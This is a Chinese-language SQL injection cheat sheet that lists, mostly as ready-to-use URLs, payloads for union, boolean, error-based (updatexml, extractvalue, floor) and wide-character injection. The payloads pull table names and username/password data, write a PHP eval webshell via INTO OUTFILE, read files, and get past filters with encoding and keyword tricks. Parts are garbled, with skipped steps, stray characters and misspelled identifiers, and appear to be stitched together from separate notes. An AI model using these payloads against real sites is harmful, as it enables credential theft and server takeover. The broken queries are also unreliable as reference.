在 Web 端大概是 http:///news.php?id=1 這種形式，其注入點(diǎn) id 類型為數(shù)字，所以叫數(shù)字型注入點(diǎn)。這一類的 SQL 語句原型大概為select * from 表名 where id=1。組合出來的sql注入語句為：select * from news where id=1 and 1=1
字符型注入點(diǎn)
在 Web 端大概是 http:///news.php?name=admin 這種形式，其注入點(diǎn) name 類型為字符類型，所以叫字符型注入點(diǎn)。這一類的 SQL 語句原型大概為select * from 表名 where name='admin’。注意多了引號。組合出來的sql注入語句為：select * from news where chr='admin’ and 1=1 ’ ’ 閉合單引號chr='admin’ union select 1,2,3,4 and '1’='1 ====>chr='admin’(閉合前面單引號) union select 1,2,3,4 and '1’='1’
搜索型注入點(diǎn)
這是一類特殊的注入類型。這類注入主要是指在進(jìn)行數(shù)據(jù)搜索時(shí)沒過濾搜索參數(shù)，一般在鏈接地址中有“keyword=關(guān)鍵字”，有的不顯示在的鏈接地址里面，而是直接通過搜索框表單提交。此類注入點(diǎn)提交的 SQL 語句，其原形大致為：select * from 表名 where 字段 like '%關(guān)鍵字%’。組合出來的sql注入語句為：select * from news where search like '%測試 %’ and '%1%’=’%1%'測試%’ union select 1,2,3,4 and '%’=’
1.判斷注入點(diǎn) http://www./index.php?id =1’ 報(bào)錯(cuò) http://www./index.php?id =1 and 1=1 正常 http://www./index.php?id =1 and 1=2 不正常
2.判斷列數(shù) http://www./index.php?id =1 order by 1
3.判斷顯示位 http://www./index.php?id =1 and 1=2 union select 1,2,3 http://www./index.php?id =-1 union select 1,2,3
4.獲取當(dāng)前數(shù)據(jù)庫 http://www./index.php?id =1 and 1=2 union select 1,2,database()
5.獲取數(shù)據(jù)庫中的表名 http://www./index.php?id =1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’security’
6.獲取數(shù)據(jù)庫的列名 http://www./index.php?id =1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’ and table_schema=’security’
8.獲取數(shù)據(jù)表中的數(shù)據(jù) http://www./index.php?id =1 and 1=2 union select 1,2,group_concat(username,’ ’,password) from security.users
布爾注入
Bool注入沒有任何報(bào)錯(cuò)信息，頁面只有正常和不正常兩種結(jié)果
函數(shù)
描述
Length()
返回字符串的長度
Substr(字段名，A,N)
截取字符串
ascii()
返回字符的ascii碼
limit(0,1)
從0行開始，向后取1行數(shù)據(jù)
ord()
函數(shù)可以返回單個(gè)字符的ASCII碼
布爾注入過程 （bool）
1.在參數(shù)后添加引號嘗試報(bào)錯(cuò)，并用and 1=1#和and 1=2#測試報(bào)錯(cuò) ?id=1’ and 1=1# 頁面返回正常 ?id=1’ and 1=2# 頁面返回不正常
2.判斷數(shù)據(jù)庫名的長度 1’ and length(database())>=11– 頁面返回正常 1’ and length(database())>=13– 頁面返回正常 1’ and length(database())>=14– 頁面返回錯(cuò)誤 由此判斷得到數(shù)據(jù)庫名的長度是13個(gè)字符
1、嘗試用單引號報(bào)錯(cuò) 2、獲取數(shù)據(jù)庫名 and updatexml(1,concat(0x7e,(select database()),0x7e),1)– –0x7e是"~"符號的16進(jìn)制，在這作為分隔符
3、獲取表名 ’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='數(shù)據(jù)庫名’ limit 0,1),0x7e),1)–
4、獲取字段名 ’ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='數(shù)據(jù)庫名’ and table_name='表名’ limit 0,1),0x7e),1)–
5、取數(shù)據(jù) ’ and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1)–
1.獲取數(shù)據(jù)庫的名字 http://www./index.php?id=1 and extractvalue(1,concat(0x7e,(database())),0)#
2.獲取數(shù)據(jù)表的名字 http://www./index.php?id=1 and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema='security’ limit 0,1)),0)#
3.獲取數(shù)據(jù)表列的名字 http://www./index.php?id=1 and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_schema='security’ limit 1,1)),0)#
4.獲取數(shù)據(jù)庫數(shù)據(jù) http://www./index.php?id=1 and extractvalue(1,concat(0x23,(select password from security.users limit 0,1)),1)
floor報(bào)錯(cuò)注入的過程 Floor是報(bào)錯(cuò)注入的一種方式，主要原因是rand和group by 分組一起使用，rand函數(shù)會計(jì)算多次導(dǎo)致報(bào)錯(cuò) Floor函數(shù)floor(x)返回不大于x的最大整數(shù)值floor(1.4)返回1 Rand()返回0-1之間的隨機(jī)數(shù) --主鍵重復(fù)（duplicate entry） floor() --返回小于等于該值的最大整數(shù) 只要是count，rand()，group by 三個(gè)連用就會造成這種主鍵重復(fù)報(bào)錯(cuò)
1.獲取數(shù)據(jù)庫的名字 http://www./index.php?id =1 and (select 1 from (select count(*),concat(database(),floor(rand()*2))x from information_schema.tables group by x)a)
2.獲取數(shù)據(jù)表的名字 http://www./index.php?id =1 and (select 1 from (select count(*),concat((select(table_name) from information_schema.tables where table_schema=database() limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a)
3.獲取數(shù)據(jù)表列的名字 http://www./index.php?id =1 and (select 1 from (select count(*),concat((select(columns_name) from information_schema.columns where table_name=’users’ and table_schema=database() limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a)
4.獲取數(shù)據(jù)庫的數(shù)據(jù) http://www./index.php?id =1 and (select 1 from (select count(*),concat((selectusername from cms.user limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a)
http://192.168.91.142/sqli/02.php?id=1?’ and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x6374667377696b69 #
3.獲取數(shù)據(jù)庫列名
http://192.168.91.142/sqli/02.php?id=1?’ and 1=2 union select 1,group_concat(columns_name),3 from information_schema.columns where table_name=0x75736572 and table_schema=0x6374667377696b69 #
4.獲取數(shù)據(jù)庫數(shù)據(jù)
http://192.168.91.142/sqli/02.php?id=1?’ and 1=2 union select 1,group_concat(username,0x2a2a2a,password),3 from user#
Addslashes等函數(shù)對輸入進(jìn)行過濾，效果?id=’1\’ 單引號被轉(zhuǎn)義，無法閉合，寬字符注入的原理是數(shù)據(jù)庫使用GBK編碼,使用?\會組成一個(gè)繁體字，導(dǎo)致單引號逃逸，?’ and 1=1 ?’ order by 4
1.3此時(shí)我們來判斷閉合字符輸入http://www./sqli/Less-7/?id=1’ and 1=1 #，回顯不正常
輸入http://www./sqli/Less-7/?id=1’) and 1=1 #，回顯不正常
輸入http://www./sqli/Less-7/?id=1’)) and 1=1 #，回顯正常
輸入http://www./sqli/Less-7/?id=1’)) and 1=2 #，回顯不正常
1.4這是我們就要利用以上所學(xué)知識寫入一句話木馬文件，我們輸入： http://www./sqli/Less-7/?id=1’)) union select 1,'2’,’<?php @eval($_POST[a]);?>’ into outfile 'c:/www/2.php’#，雖然顯示報(bào)錯(cuò)，但其實(shí)我們還是寫了進(jìn)去。
1.6下面進(jìn)行讀取文件，我們輸入：http://www./sqli/Less-7/?id=1’)) union select 1,2,load_file(“C:/WWW/2.php”) into outfile 'C:/WWW/3.php’#，雖然報(bào)錯(cuò)了，但是我們還是讓它讀取到了2.php里的內(nèi)容，然后讓它以3.php寫入了進(jìn)去 |
3.換行符
繞過 http://www./index.asp?Id=1
and
1=2
union
select
1,2database()
4.括號繞過 mysql的特性id=1=1 http://www./index.asp?Id=1=(ascii(mid(database() from (1)))=99)
5.反引號`繞過
關(guān)鍵字過濾
6.內(nèi)聯(lián)注釋/!../繞過 randomcomments.py 使用/**/分割關(guān)鍵字 http://www./index.asp?Id=1 and 1=2/!union//!select/1,2database()
7.大小寫?zhàn)堖^ http://www./index.asp?Id=1 and 1=2 union seleCt 1,2,database()
8.雙寫關(guān)鍵字繞過 http://www./index.asp?Id=1 and 1=2 union seselectlect 1,2,database()
9.雙重URL編碼繞過 chardoubleencode.py 單次編碼charencode.py http://www./index.asp?Id=1 and 1=2 union se%6cect 1,2,database()
10.十六進(jìn)制編碼繞過 http://192.168.91.142/sqli/02.php?id=1?’ and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x6374667377696b69 #
11.unicode編碼繞過IIS識別 charunicodeencode.py http://www./News.asp?SortID=1&ItemID=46 and 0 < (select top 1 name from sys.databases)
12.ascii編碼繞過單引號被轉(zhuǎn)義的情況 的url編碼為+ http://www./News.asp?SortID=1&ItemID=46 and 0 < (select top 1 name from sec.dbo.sysobjects where xtype=’U’ and name not in(char(101) char(105) char(109) char(115) char(95) char(67) char(97) char(115) char(101) char(80) char(114) char(111)))
13.like或in 代替 = equaltolike.py http://www./News.asp?SortID=1 and 1 like 1
14from for繞過逗號 Select substr(database(),1,1) Select substr(database()from 1 for 1)
